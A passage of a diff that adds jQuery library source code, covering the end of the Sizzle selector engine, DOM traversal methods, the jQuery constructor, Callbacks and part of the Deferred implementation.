+ +function setMatcher( preFilter, selector, matcher, postFilter, postFinder, postSelector ) { + if ( postFilter && !postFilter[ expando ] ) { + postFilter = setMatcher( postFilter ); + } + if ( postFinder && !postFinder[ expando ] ) { + postFinder = setMatcher( postFinder, postSelector ); + } + return markFunction( function( seed, results, context, xml ) { + var temp, i, elem, matcherOut, + preMap = [], + postMap = [], + preexisting = results.length, + + // Get initial elements from seed or context + elems = seed || + multipleContexts( selector || "*", + context.nodeType ? [ context ] : context, [] ), + + // Prefilter to get matcher input, preserving a map for seed-results synchronization + matcherIn = preFilter && ( seed || !selector ) ? + condense( elems, preMap, preFilter, context, xml ) : + elems; + + if ( matcher ) { + + // If we have a postFinder, or filtered seed, or non-seed postFilter + // or preexisting results, + matcherOut = postFinder || ( seed ? preFilter : preexisting || postFilter ) ? + + // ...intermediate processing is necessary + [] : + + // ...otherwise use results directly + results; + + // Find primary matches + matcher( matcherIn, matcherOut, context, xml ); + } else { + matcherOut = matcherIn; + } + + // Apply postFilter + if ( postFilter ) { + temp = condense( matcherOut, postMap ); + postFilter( temp, [], context, xml ); + + // Un-match failing elements by moving them back to matcherIn + i = temp.length; + while ( i-- ) { + if ( ( elem = temp[ i ] ) ) { + matcherOut[ postMap[ i ] ] = !( matcherIn[ postMap[ i ] ] = elem ); + } + } + } + + if ( seed ) { + if ( postFinder || preFilter ) { + if ( postFinder ) { + + // Get the final matcherOut by condensing this intermediate into postFinder contexts + temp = []; + i = matcherOut.length; + while ( i-- ) { + if ( ( elem = matcherOut[ i ] ) ) { + + // Restore matcherIn since elem is not yet a final match + temp.push( ( matcherIn[ i ] = elem ) ); + } + } + postFinder( null, ( matcherOut = [] ), temp, xml ); + } + + // Move matched elements from seed to results to keep them synchronized + i = matcherOut.length; + while ( i-- ) { + if ( ( elem = matcherOut[ i ] ) && + ( temp = postFinder ? indexOf.call( seed, elem ) : preMap[ i ] ) > -1 ) { + + seed[ temp ] = !( results[ temp ] = elem ); + } + } + } + + // Add elements to results, through postFinder if defined + } else { + matcherOut = condense( + matcherOut === results ? + matcherOut.splice( preexisting, matcherOut.length ) : + matcherOut + ); + if ( postFinder ) { + postFinder( null, results, matcherOut, xml ); + } else { + push.apply( results, matcherOut ); + } + } + } ); +} + +function matcherFromTokens( tokens ) { + var checkContext, matcher, j, + len = tokens.length, + leadingRelative = Expr.relative[ tokens[ 0 ].type ], + implicitRelative = leadingRelative || Expr.relative[ " " ], + i = leadingRelative ? 1 : 0, + + // The foundational matcher ensures that elements are reachable from top-level context(s) + matchContext = addCombinator( function( elem ) { + return elem === checkContext; + }, implicitRelative, true ), + matchAnyContext = addCombinator( function( elem ) { + return indexOf.call( checkContext, elem ) > -1; + }, implicitRelative, true ), + matchers = [ function( elem, context, xml ) { + + // Support: IE 11+, Edge 17 - 18+ + // IE/Edge sometimes throw a "Permission denied" error when strict-comparing + // two documents; shallow comparisons work. + // eslint-disable-next-line eqeqeq + var ret = ( !leadingRelative && ( xml || context != outermostContext ) ) || ( + ( checkContext = context ).nodeType ? + matchContext( elem, context, xml ) : + matchAnyContext( elem, context, xml ) ); + + // Avoid hanging onto element + // (see https://github.com/jquery/sizzle/issues/299) + checkContext = null; + return ret; + } ]; + + for ( ; i < len; i++ ) { + if ( ( matcher = Expr.relative[ tokens[ i ].type ] ) ) { + matchers = [ addCombinator( elementMatcher( matchers ), matcher ) ]; + } else { + matcher = Expr.filter[ tokens[ i ].type ].apply( null, tokens[ i ].matches ); + + // Return special upon seeing a positional matcher + if ( matcher[ expando ] ) { + + // Find the next relative operator (if any) for proper handling + j = ++i; + for ( ; j < len; j++ ) { + if ( Expr.relative[ tokens[ j ].type ] ) { + break; + } + } + return setMatcher( + i > 1 && elementMatcher( matchers ), + i > 1 && toSelector( + + // If the preceding token was a descendant combinator, insert an implicit any-element `*` + tokens.slice( 0, i - 1 ) + .concat( { value: tokens[ i - 2 ].type === " " ? "*" : "" } ) + ).replace( rtrimCSS, "$1" ), + matcher, + i < j && matcherFromTokens( tokens.slice( i, j ) ), + j < len && matcherFromTokens( ( tokens = tokens.slice( j ) ) ), + j < len && toSelector( tokens ) + ); + } + matchers.push( matcher ); + } + } + + return elementMatcher( matchers ); +} + +function matcherFromGroupMatchers( elementMatchers, setMatchers ) { + var bySet = setMatchers.length > 0, + byElement = elementMatchers.length > 0, + superMatcher = function( seed, context, xml, results, outermost ) { + var elem, j, matcher, + matchedCount = 0, + i = "0", + unmatched = seed && [], + setMatched = [], + contextBackup = outermostContext, + + // We must always have either seed elements or outermost context + elems = seed || byElement && Expr.find.TAG( "*", outermost ), + + // Use integer dirruns iff this is the outermost matcher + dirrunsUnique = ( dirruns += contextBackup == null ? 1 : Math.random() || 0.1 ), + len = elems.length; + + if ( outermost ) { + + // Support: IE 11+, Edge 17 - 18+ + // IE/Edge sometimes throw a "Permission denied" error when strict-comparing + // two documents; shallow comparisons work. + // eslint-disable-next-line eqeqeq + outermostContext = context == document || context || outermost; + } + + // Add elements passing elementMatchers directly to results + // Support: iOS <=7 - 9 only + // Tolerate NodeList properties (IE: "length"; Safari: ) matching + // elements by id. (see trac-14142) + for ( ; i !== len && ( elem = elems[ i ] ) != null; i++ ) { + if ( byElement && elem ) { + j = 0; + + // Support: IE 11+, Edge 17 - 18+ + // IE/Edge sometimes throw a "Permission denied" error when strict-comparing + // two documents; shallow comparisons work. + // eslint-disable-next-line eqeqeq + if ( !context && elem.ownerDocument != document ) { + setDocument( elem ); + xml = !documentIsHTML; + } + while ( ( matcher = elementMatchers[ j++ ] ) ) { + if ( matcher( elem, context || document, xml ) ) { + push.call( results, elem ); + break; + } + } + if ( outermost ) { + dirruns = dirrunsUnique; + } + } + + // Track unmatched elements for set filters + if ( bySet ) { + + // They will have gone through all possible matchers + if ( ( elem = !matcher && elem ) ) { + matchedCount--; + } + + // Lengthen the array for every element, matched or not + if ( seed ) { + unmatched.push( elem ); + } + } + } + + // `i` is now the count of elements visited above, and adding it to `matchedCount` + // makes the latter nonnegative. + matchedCount += i; + + // Apply set filters to unmatched elements + // NOTE: This can be skipped if there are no unmatched elements (i.e., `matchedCount` + // equals `i`), unless we didn't visit _any_ elements in the above loop because we have + // no element matchers and no seed. + // Incrementing an initially-string "0" `i` allows `i` to remain a string only in that + // case, which will result in a "00" `matchedCount` that differs from `i` but is also + // numerically zero. + if ( bySet && i !== matchedCount ) { + j = 0; + while ( ( matcher = setMatchers[ j++ ] ) ) { + matcher( unmatched, setMatched, context, xml ); + } + + if ( seed ) { + + // Reintegrate element matches to eliminate the need for sorting + if ( matchedCount > 0 ) { + while ( i-- ) { + if ( !( unmatched[ i ] || setMatched[ i ] ) ) { + setMatched[ i ] = pop.call( results ); + } + } + } + + // Discard index placeholder values to get only actual matches + setMatched = condense( setMatched ); + } + + // Add matches to results + push.apply( results, setMatched ); + + // Seedless set matches succeeding multiple successful matchers stipulate sorting + if ( outermost && !seed && setMatched.length > 0 && + ( matchedCount + setMatchers.length ) > 1 ) { + + jQuery.uniqueSort( results ); + } + } + + // Override manipulation of globals by nested matchers + if ( outermost ) { + dirruns = dirrunsUnique; + outermostContext = contextBackup; + } + + return unmatched; + }; + + return bySet ? + markFunction( superMatcher ) : + superMatcher; +} + +function compile( selector, match /* Internal Use Only */ ) { + var i, + setMatchers = [], + elementMatchers = [], + cached = compilerCache[ selector + " " ]; + + if ( !cached ) { + + // Generate a function of recursive functions that can be used to check each element + if ( !match ) { + match = tokenize( selector ); + } + i = match.length; + while ( i-- ) { + cached = matcherFromTokens( match[ i ] ); + if ( cached[ expando ] ) { + setMatchers.push( cached ); + } else { + elementMatchers.push( cached ); + } + } + + // Cache the compiled function + cached = compilerCache( selector, + matcherFromGroupMatchers( elementMatchers, setMatchers ) ); + + // Save selector and tokenization + cached.selector = selector; + } + return cached; +} + +/** + * A low-level selection function that works with jQuery's compiled + * selector functions + * @param {String|Function} selector A selector or a pre-compiled + * selector function built with jQuery selector compile + * @param {Element} context + * @param {Array} [results] + * @param {Array} [seed] A set of elements to match against + */ +function select( selector, context, results, seed ) { + var i, tokens, token, type, find, + compiled = typeof selector === "function" && selector, + match = !seed && tokenize( ( selector = compiled.selector || selector ) ); + + results = results || []; + + // Try to minimize operations if there is only one selector in the list and no seed + // (the latter of which guarantees us context) + if ( match.length === 1 ) { + + // Reduce context if the leading compound selector is an ID + tokens = match[ 0 ] = match[ 0 ].slice( 0 ); + if ( tokens.length > 2 && ( token = tokens[ 0 ] ).type === "ID" && + context.nodeType === 9 && documentIsHTML && Expr.relative[ tokens[ 1 ].type ] ) { + + context = ( Expr.find.ID( + token.matches[ 0 ].replace( runescape, funescape ), + context + ) || [] )[ 0 ]; + if ( !context ) { + return results; + + // Precompiled matchers will still verify ancestry, so step up a level + } else if ( compiled ) { + context = context.parentNode; + } + + selector = selector.slice( tokens.shift().value.length ); + } + + // Fetch a seed set for right-to-left matching + i = matchExpr.needsContext.test( selector ) ? 0 : tokens.length; + while ( i-- ) { + token = tokens[ i ]; + + // Abort if we hit a combinator + if ( Expr.relative[ ( type = token.type ) ] ) { + break; + } + if ( ( find = Expr.find[ type ] ) ) { + + // Search, expanding context for leading sibling combinators + if ( ( seed = find( + token.matches[ 0 ].replace( runescape, funescape ), + rsibling.test( tokens[ 0 ].type ) && + testContext( context.parentNode ) || context + ) ) ) { + + // If seed is empty or no tokens remain, we can return early + tokens.splice( i, 1 ); + selector = seed.length && toSelector( tokens ); + if ( !selector ) { + push.apply( results, seed ); + return results; + } + + break; + } + } + } + } + + // Compile and execute a filtering function if one is not provided + // Provide `match` to avoid retokenization if we modified the selector above + ( compiled || compile( selector, match ) )( + seed, + context, + !documentIsHTML, + results, + !context || rsibling.test( selector ) && testContext( context.parentNode ) || context + ); + return results; +} + +// One-time assignments + +// Support: Android <=4.0 - 4.1+ +// Sort stability +support.sortStable = expando.split( "" ).sort( sortOrder ).join( "" ) === expando; + +// Initialize against the default document +setDocument(); + +// Support: Android <=4.0 - 4.1+ +// Detached nodes confoundingly follow *each other* +support.sortDetached = assert( function( el ) { + + // Should return 1, but returns 4 (following) + return el.compareDocumentPosition( document.createElement( "fieldset" ) ) & 1; +} ); + +jQuery.find = find; + +// Deprecated +jQuery.expr[ ":" ] = jQuery.expr.pseudos; +jQuery.unique = jQuery.uniqueSort; + +// These have always been private, but they used to be documented as part of +// Sizzle so let's maintain them for now for backwards compatibility purposes. +find.compile = compile; +find.select = select; +find.setDocument = setDocument; +find.tokenize = tokenize; + +find.escape = jQuery.escapeSelector; +find.getText = jQuery.text; +find.isXML = jQuery.isXMLDoc; +find.selectors = jQuery.expr; +find.support = jQuery.support; +find.uniqueSort = jQuery.uniqueSort; + + /* eslint-enable */ + +} )(); + + +var dir = function( elem, dir, until ) { + var matched = [], + truncate = until !== undefined; + + while ( ( elem = elem[ dir ] ) && elem.nodeType !== 9 ) { + if ( elem.nodeType === 1 ) { + if ( truncate && jQuery( elem ).is( until ) ) { + break; + } + matched.push( elem ); + } + } + return matched; +}; + + +var siblings = function( n, elem ) { + var matched = []; + + for ( ; n; n = n.nextSibling ) { + if ( n.nodeType === 1 && n !== elem ) { + matched.push( n ); + } + } + + return matched; +}; + + +var rneedsContext = jQuery.expr.match.needsContext; + +var rsingleTag = ( /^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i ); + + + +// Implement the identical functionality for filter and not +function winnow( elements, qualifier, not ) { + if ( isFunction( qualifier ) ) { + return jQuery.grep( elements, function( elem, i ) { + return !!qualifier.call( elem, i, elem ) !== not; + } ); + } + + // Single element + if ( qualifier.nodeType ) { + return jQuery.grep( elements, function( elem ) { + return ( elem === qualifier ) !== not; + } ); + } + + // Arraylike of elements (jQuery, arguments, Array) + if ( typeof qualifier !== "string" ) { + return jQuery.grep( elements, function( elem ) { + return ( indexOf.call( qualifier, elem ) > -1 ) !== not; + } ); + } + + // Filtered directly for both simple and complex selectors + return jQuery.filter( qualifier, elements, not ); +} + +jQuery.filter = function( expr, elems, not ) { + var elem = elems[ 0 ]; + + if ( not ) { + expr = ":not(" + expr + ")"; + } + + if ( elems.length === 1 && elem.nodeType === 1 ) { + return jQuery.find.matchesSelector( elem, expr ) ? [ elem ] : []; + } + + return jQuery.find.matches( expr, jQuery.grep( elems, function( elem ) { + return elem.nodeType === 1; + } ) ); +}; + +jQuery.fn.extend( { + find: function( selector ) { + var i, ret, + len = this.length, + self = this; + + if ( typeof selector !== "string" ) { + return this.pushStack( jQuery( selector ).filter( function() { + for ( i = 0; i < len; i++ ) { + if ( jQuery.contains( self[ i ], this ) ) { + return true; + } + } + } ) ); + } + + ret = this.pushStack( [] ); + + for ( i = 0; i < len; i++ ) { + jQuery.find( selector, self[ i ], ret ); + } + + return len > 1 ? jQuery.uniqueSort( ret ) : ret; + }, + filter: function( selector ) { + return this.pushStack( winnow( this, selector || [], false ) ); + }, + not: function( selector ) { + return this.pushStack( winnow( this, selector || [], true ) ); + }, + is: function( selector ) { + return !!winnow( + this, + + // If this is a positional/relative selector, check membership in the returned set + // so $("p:first").is("p:last") won't return true for a doc with two "p". + typeof selector === "string" && rneedsContext.test( selector ) ? + jQuery( selector ) : + selector || [], + false + ).length; + } +} ); + + +// Initialize a jQuery object + + +// A central reference to the root jQuery(document) +var rootjQuery, + + // A simple way to check for HTML strings + // Prioritize #id over to avoid XSS via location.hash (trac-9521) + // Strict HTML recognition (trac-11290: must start with <) + // Shortcut simple #id case for speed + rquickExpr = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/, + + init = jQuery.fn.init = function( selector, context, root ) { + var match, elem; + + // HANDLE: $(""), $(null), $(undefined), $(false) + if ( !selector ) { + return this; + } + + // Method init() accepts an alternate rootjQuery + // so migrate can support jQuery.sub (gh-2101) + root = root || rootjQuery; + + // Handle HTML strings + if ( typeof selector === "string" ) { + if ( selector[ 0 ] === "<" && + selector[ selector.length - 1 ] === ">" && + selector.length >= 3 ) { + + // Assume that strings that start and end with <> are HTML and skip the regex check + match = [ null, selector, null ]; + + } else { + match = rquickExpr.exec( selector ); + } + + // Match html or make sure no context is specified for #id + if ( match && ( match[ 1 ] || !context ) ) { + + // HANDLE: $(html) -> $(array) + if ( match[ 1 ] ) { + context = context instanceof jQuery ? context[ 0 ] : context; + + // Option to run scripts is true for back-compat + // Intentionally let the error be thrown if parseHTML is not present + jQuery.merge( this, jQuery.parseHTML( + match[ 1 ], + context && context.nodeType ? context.ownerDocument || context : document, + true + ) ); + + // HANDLE: $(html, props) + if ( rsingleTag.test( match[ 1 ] ) && jQuery.isPlainObject( context ) ) { + for ( match in context ) { + + // Properties of context are called as methods if possible + if ( isFunction( this[ match ] ) ) { + this[ match ]( context[ match ] ); + + // ...and otherwise set as attributes + } else { + this.attr( match, context[ match ] ); + } + } + } + + return this; + + // HANDLE: $(#id) + } else { + elem = document.getElementById( match[ 2 ] ); + + if ( elem ) { + + // Inject the element directly into the jQuery object + this[ 0 ] = elem; + this.length = 1; + } + return this; + } + + // HANDLE: $(expr, $(...)) + } else if ( !context || context.jquery ) { + return ( context || root ).find( selector ); + + // HANDLE: $(expr, context) + // (which is just equivalent to: $(context).find(expr) + } else { + return this.constructor( context ).find( selector ); + } + + // HANDLE: $(DOMElement) + } else if ( selector.nodeType ) { + this[ 0 ] = selector; + this.length = 1; + return this; + + // HANDLE: $(function) + // Shortcut for document ready + } else if ( isFunction( selector ) ) { + return root.ready !== undefined ? + root.ready( selector ) : + + // Execute immediately if ready is not present + selector( jQuery ); + } + + return jQuery.makeArray( selector, this ); + }; + +// Give the init function the jQuery prototype for later instantiation +init.prototype = jQuery.fn; + +// Initialize central reference +rootjQuery = jQuery( document ); + + +var rparentsprev = /^(?:parents|prev(?:Until|All))/, + + // Methods guaranteed to produce a unique set when starting from a unique set + guaranteedUnique = { + children: true, + contents: true, + next: true, + prev: true + }; + +jQuery.fn.extend( { + has: function( target ) { + var targets = jQuery( target, this ), + l = targets.length; + + return this.filter( function() { + var i = 0; + for ( ; i < l; i++ ) { + if ( jQuery.contains( this, targets[ i ] ) ) { + return true; + } + } + } ); + }, + + closest: function( selectors, context ) { + var cur, + i = 0, + l = this.length, + matched = [], + targets = typeof selectors !== "string" && jQuery( selectors ); + + // Positional selectors never match, since there's no _selection_ context + if ( !rneedsContext.test( selectors ) ) { + for ( ; i < l; i++ ) { + for ( cur = this[ i ]; cur && cur !== context; cur = cur.parentNode ) { + + // Always skip document fragments + if ( cur.nodeType < 11 && ( targets ? + targets.index( cur ) > -1 : + + // Don't pass non-elements to jQuery#find + cur.nodeType === 1 && + jQuery.find.matchesSelector( cur, selectors ) ) ) { + + matched.push( cur ); + break; + } + } + } + } + + return this.pushStack( matched.length > 1 ? jQuery.uniqueSort( matched ) : matched ); + }, + + // Determine the position of an element within the set + index: function( elem ) { + + // No argument, return index in parent + if ( !elem ) { + return ( this[ 0 ] && this[ 0 ].parentNode ) ? this.first().prevAll().length : -1; + } + + // Index in selector + if ( typeof elem === "string" ) { + return indexOf.call( jQuery( elem ), this[ 0 ] ); + } + + // Locate the position of the desired element + return indexOf.call( this, + + // If it receives a jQuery object, the first element is used + elem.jquery ? elem[ 0 ] : elem + ); + }, + + add: function( selector, context ) { + return this.pushStack( + jQuery.uniqueSort( + jQuery.merge( this.get(), jQuery( selector, context ) ) + ) + ); + }, + + addBack: function( selector ) { + return this.add( selector == null ? + this.prevObject : this.prevObject.filter( selector ) + ); + } +} ); + +function sibling( cur, dir ) { + while ( ( cur = cur[ dir ] ) && cur.nodeType !== 1 ) {} + return cur; +} + +jQuery.each( { + parent: function( elem ) { + var parent = elem.parentNode; + return parent && parent.nodeType !== 11 ? parent : null; + }, + parents: function( elem ) { + return dir( elem, "parentNode" ); + }, + parentsUntil: function( elem, _i, until ) { + return dir( elem, "parentNode", until ); + }, + next: function( elem ) { + return sibling( elem, "nextSibling" ); + }, + prev: function( elem ) { + return sibling( elem, "previousSibling" ); + }, + nextAll: function( elem ) { + return dir( elem, "nextSibling" ); + }, + prevAll: function( elem ) { + return dir( elem, "previousSibling" ); + }, + nextUntil: function( elem, _i, until ) { + return dir( elem, "nextSibling", until ); + }, + prevUntil: function( elem, _i, until ) { + return dir( elem, "previousSibling", until ); + }, + siblings: function( elem ) { + return siblings( ( elem.parentNode || {} ).firstChild, elem ); + }, + children: function( elem ) { + return siblings( elem.firstChild ); + }, + contents: function( elem ) { + if ( elem.contentDocument != null && + + // Support: IE 11+ + // elements with no `data` attribute has an object + // `contentDocument` with a `null` prototype. + getProto( elem.contentDocument ) ) { + + return elem.contentDocument; + } + + // Support: IE 9 - 11 only, iOS 7 only, Android Browser <=4.3 only + // Treat the template element as a regular one in browsers that + // don't support it. + if ( nodeName( elem, "template" ) ) { + elem = elem.content || elem; + } + + return jQuery.merge( [], elem.childNodes ); + } +}, function( name, fn ) { + jQuery.fn[ name ] = function( until, selector ) { + var matched = jQuery.map( this, fn, until ); + + if ( name.slice( -5 ) !== "Until" ) { + selector = until; + } + + if ( selector && typeof selector === "string" ) { + matched = jQuery.filter( selector, matched ); + } + + if ( this.length > 1 ) { + + // Remove duplicates + if ( !guaranteedUnique[ name ] ) { + jQuery.uniqueSort( matched ); + } + + // Reverse order for parents* and prev-derivatives + if ( rparentsprev.test( name ) ) { + matched.reverse(); + } + } + + return this.pushStack( matched ); + }; +} ); +var rnothtmlwhite = ( /[^\x20\t\r\n\f]+/g ); + + + +// Convert String-formatted options into Object-formatted ones +function createOptions( options ) { + var object = {}; + jQuery.each( options.match( rnothtmlwhite ) || [], function( _, flag ) { + object[ flag ] = true; + } ); + return object; +} + +/* + * Create a callback list using the following parameters: + * + * options: an optional list of space-separated options that will change how + * the callback list behaves or a more traditional option object + * + * By default a callback list will act like an event callback list and can be + * "fired" multiple times. + * + * Possible options: + * + * once: will ensure the callback list can only be fired once (like a Deferred) + * + * memory: will keep track of previous values and will call any callback added + * after the list has been fired right away with the latest "memorized" + * values (like a Deferred) + * + * unique: will ensure a callback can only be added once (no duplicate in the list) + * + * stopOnFalse: interrupt callings when a callback returns false + * + */ +jQuery.Callbacks = function( options ) { + + // Convert options from String-formatted to Object-formatted if needed + // (we check in cache first) + options = typeof options === "string" ? + createOptions( options ) : + jQuery.extend( {}, options ); + + var // Flag to know if list is currently firing + firing, + + // Last fire value for non-forgettable lists + memory, + + // Flag to know if list was already fired + fired, + + // Flag to prevent firing + locked, + + // Actual callback list + list = [], + + // Queue of execution data for repeatable lists + queue = [], + + // Index of currently firing callback (modified by add/remove as needed) + firingIndex = -1, + + // Fire callbacks + fire = function() { + + // Enforce single-firing + locked = locked || options.once; + + // Execute callbacks for all pending executions, + // respecting firingIndex overrides and runtime changes + fired = firing = true; + for ( ; queue.length; firingIndex = -1 ) { + memory = queue.shift(); + while ( ++firingIndex < list.length ) { + + // Run callback and check for early termination + if ( list[ firingIndex ].apply( memory[ 0 ], memory[ 1 ] ) === false && + options.stopOnFalse ) { + + // Jump to end and forget the data so .add doesn't re-fire + firingIndex = list.length; + memory = false; + } + } + } + + // Forget the data if we're done with it + if ( !options.memory ) { + memory = false; + } + + firing = false; + + // Clean up if we're done firing for good + if ( locked ) { + + // Keep an empty list if we have data for future add calls + if ( memory ) { + list = []; + + // Otherwise, this object is spent + } else { + list = ""; + } + } + }, + + // Actual Callbacks object + self = { + + // Add a callback or a collection of callbacks to the list + add: function() { + if ( list ) { + + // If we have memory from a past run, we should fire after adding + if ( memory && !firing ) { + firingIndex = list.length - 1; + queue.push( memory ); + } + + ( function add( args ) { + jQuery.each( args, function( _, arg ) { + if ( isFunction( arg ) ) { + if ( !options.unique || !self.has( arg ) ) { + list.push( arg ); + } + } else if ( arg && arg.length && toType( arg ) !== "string" ) { + + // Inspect recursively + add( arg ); + } + } ); + } )( arguments ); + + if ( memory && !firing ) { + fire(); + } + } + return this; + }, + + // Remove a callback from the list + remove: function() { + jQuery.each( arguments, function( _, arg ) { + var index; + while ( ( index = jQuery.inArray( arg, list, index ) ) > -1 ) { + list.splice( index, 1 ); + + // Handle firing indexes + if ( index <= firingIndex ) { + firingIndex--; + } + } + } ); + return this; + }, + + // Check if a given callback is in the list. + // If no argument is given, return whether or not list has callbacks attached. + has: function( fn ) { + return fn ? + jQuery.inArray( fn, list ) > -1 : + list.length > 0; + }, + + // Remove all callbacks from the list + empty: function() { + if ( list ) { + list = []; + } + return this; + }, + + // Disable .fire and .add + // Abort any current/pending executions + // Clear all callbacks and values + disable: function() { + locked = queue = []; + list = memory = ""; + return this; + }, + disabled: function() { + return !list; + }, + + // Disable .fire + // Also disable .add unless we have memory (since it would have no effect) + // Abort any pending executions + lock: function() { + locked = queue = []; + if ( !memory && !firing ) { + list = memory = ""; + } + return this; + }, + locked: function() { + return !!locked; + }, + + // Call all callbacks with the given context and arguments + fireWith: function( context, args ) { + if ( !locked ) { + args = args || []; + args = [ context, args.slice ? args.slice() : args ]; + queue.push( args ); + if ( !firing ) { + fire(); + } + } + return this; + }, + + // Call all the callbacks with the given arguments + fire: function() { + self.fireWith( this, arguments ); + return this; + }, + + // To know if the callbacks have already been called at least once + fired: function() { + return !!fired; + } + }; + + return self; +}; + + +function Identity( v ) { + return v; +} +function Thrower( ex ) { + throw ex; +} + +function adoptValue( value, resolve, reject, noValue ) { + var method; + + try { + + // Check for promise aspect first to privilege synchronous behavior + if ( value && isFunction( ( method = value.promise ) ) ) { + method.call( value ).done( resolve ).fail( reject ); + + // Other thenables + } else if ( value && isFunction( ( method = value.then ) ) ) { + method.call( value, resolve, reject ); + + // Other non-thenables + } else { + + // Control `resolve` arguments by letting Array#slice cast boolean `noValue` to integer: + // * false: [ value ].slice( 0 ) => resolve( value ) + // * true: [ value ].slice( 1 ) => resolve() + resolve.apply( undefined, [ value ].slice( noValue ) ); + } + + // For Promises/A+, convert exceptions into rejections + // Since jQuery.when doesn't unwrap thenables, we can skip the extra checks appearing in + // Deferred#then to conditionally suppress rejection. + } catch ( value ) { + + // Support: Android 4.0 only + // Strict mode functions invoked without .call/.apply get global-object context + reject.apply( undefined, [ value ] ); + } +} + +jQuery.extend( { + + Deferred: function( func ) { + var tuples = [ + + // action, add listener, callbacks, + // ... .then handlers, argument index, [final state] + [ "notify", "progress", jQuery.Callbacks( "memory" ), + jQuery.Callbacks( "memory" ), 2 ], + [ "resolve", "done", jQuery.Callbacks( "once memory" ), + jQuery.Callbacks( "once memory" ), 0, "resolved" ], + [ "reject", "fail", jQuery.Callbacks( "once memory" ), + jQuery.Callbacks( "once memory" ), 1, "rejected" ] + ], + state = "pending", + promise = { + state: function() { + return state; + }, + always: function() { + deferred.done( arguments ).fail( arguments ); + return this; + }, + "catch": function( fn ) { + return promise.then( null, fn ); + }, + + // Keep pipe for back-compat + pipe: function( /* fnDone, fnFail, fnProgress */ ) { + var fns = arguments; + + return jQuery.Deferred( function( newDefer ) { + jQuery.each( tuples, function( _i, tuple ) { + + // Map tuples (progress, done, fail) to arguments (done, fail, progress) + var fn = isFunction( fns[ tuple[ 4 ] ] ) && fns[ tuple[ 4 ] ]; + + // deferred.progress(function() { bind to newDefer or newDefer.notify }) + // deferred.done(function() { bind to newDefer or newDefer.resolve }) + // deferred.fail(function() { bind to newDefer or newDefer.reject }) + deferred[ tuple[ 1 ] ]( function() { + var returned = fn && fn.apply( this, arguments ); + if ( returned && isFunction( returned.promise ) ) { + returned.promise() + .progress( newDefer.notify ) + .done( newDefer.resolve ) + .fail( newDefer.reject ); + } else { + newDefer[ tuple[ 0 ] + "With" ]( + this, + fn ? [ returned ] : arguments + ); + } + } ); + } ); + fns = null; + } ).promise(); + }, + then: function( onFulfilled, onRejected, onProgress ) { + var maxDepth = 0; + function resolve( depth, deferred, handler, special ) { + return function() { + var that = this, + args = arguments, + mightThrow = function() { + var returned, then; + + // Support: Promises/A+ section 2.3.3.3.3 + // https://promisesaplus.com/#point-59 + // Ignore double-resolution attempts + if ( depth < maxDepth ) { + return; + } + + returned = handler.apply( that, args ); + + // Support: Promises/A+ section 2.3.1 + // https://promisesaplus.com/#point-48 + if ( returned === deferred.promise() ) { + throw new TypeError( "Thenable self-resolution" ); + } + + // Support: Promises/A+ sections 2.3.3.1, 3.5 + // https://promisesaplus.com/#point-54 + // https://promisesaplus.com/#point-75 + // Retrieve `then` only once + then = returned && + + // Support: Promises/A+ section 2.3.4 + // https://promisesaplus.com/#point-64 + // Only check objects and functions for thenability + ( typeof returned === "object" || + typeof returned === "function" ) && + returned.then; + + // Handle a returned thenable + if ( isFunction( then ) ) { + + // Special processors (notify) just wait for resolution + if ( special ) { + then.call( + returned, + resolve( maxDepth, deferred, Identity, special ), + resolve( maxDepth, deferred, Thrower, special ) + ); + + // Normal processors (resolve) also hook into progress + } else { + + // ...and disregard older resolution values + maxDepth++; + + then.call( + returned, + resolve( maxDepth, deferred, Identity, special ), + resolve( maxDepth, deferred, Thrower, special ), + resolve( maxDepth, deferred, Identity, + deferred.notifyWith ) + ); + } + + // Handle all other returned values + } else { + + // Only substitute handlers pass on context + // and multiple values (non-spec behavior) + if ( handler !== Identity ) { + that = undefined; + args = [ returned ]; + } + + // Process the value(s) + // Default process is resolve + ( special || deferred.resolveWith )( that, args ); + } + }, + + // Only normal processors (resolve) catch and reject exceptions + process = special ? + mightThrow : + function() { + try { + mightThrow(); + } catch ( e ) { + + if ( jQuery.Deferred.exceptionHook ) { + jQuery.Deferred.exceptionHook( e, + process.error ); + } + + // Support: Promises/A+ section 2.3.3.3.4.1 + // https://promisesaplus.com/#point-61 + // Ignore post-resolution exceptions + if ( depth + 1 >= maxDepth ) { + + // Only substitute handlers pass on context + // and multiple values (non-spec behavior) + if ( handler !== Thrower ) { + that = undefined; + args = [ e ]; + } + + deferred.rejectWith( that, args ); + } + } + }; + + // Support: Promises/A+ section 2.3.3.3.1 + // https://promisesaplus.com/#point-57 + // Re-resolve promises immediately to dodge false rejection from + // subsequent errors + if ( depth ) { + process(); + } else { + + // Call an optional hook to record the error, in case of exception + // since it's otherwise lost when execution goes async + if ( jQuery.Deferred.getErrorHook ) { + process.error = jQuery.Deferred.getErrorHook(); + + // The deprecated alias of the above. While the name suggests + // returning the stack, not an error instance, jQuery just passes + // it directly to `console.warn` so both will work; an instance + // just better cooperates with source maps. + } else if ( jQuery.Deferred.getStackHook ) { + process.error = jQuery.Deferred.getStackHook(); + } + window.setTimeout( process ); + } + }; + } + + return jQuery.Deferred( function( newDefer ) { + + // progress_handlers.add( ... ) + tuples[ 0 ][ 3 ].add( + resolve( + 0, + newDefer, + isFunction( onProgress ) ? + onProgress : + Identity, + newDefer.notifyWith + ) + ); + + // fulfilled_handlers.add( ... ) + tuples[ 1 ][ 3 ].add( + resolve( + 0, + newDefer, + isFunction( onFulfilled ) ? + onFulfilled : + Identity + ) + ); + + // rejected_handlers.add( ... ) + tuples[ 2 ][ 3 ].add( + resolve( + 0, + newDefer, + isFunction( onRejected ) ? + onRejected : + Thrower + ) + ); + } ).promise(); + }, + + // Get a promise for this deferred + // If obj is provided, the promise aspect is added to the object + promise: function( obj ) { + return obj != null ? jQuery.extend( obj, promise ) : promise; + } + }, + deferred = {}; + + // Add list-specific methods + jQuery.each( tuples, function( i, tuple ) { + var list = tuple[ 2 ], + stateString = tuple[ 5 ]; + + // promise.progress = list.add + // promise.done = list.add + // promise.fail = list.add + promise[ tuple[ 1 ] ] = list.add; + + // Handle state + if ( stateString ) { + list.add( + function() { + + // state = "resolved" (i.e., fulfilled) + // state = "rejected" + state = stateString; + }, + + // rejected_callbacks.disable + // fulfilled_callbacks.disable + tuples[ 3 - i ][ 2 ].disable, + + // rejected_handlers.disable + // fulfilled_handlers.disable + tuples[ 3 - i ][ 3 ].disable, + + // progress_callbacks.lock + 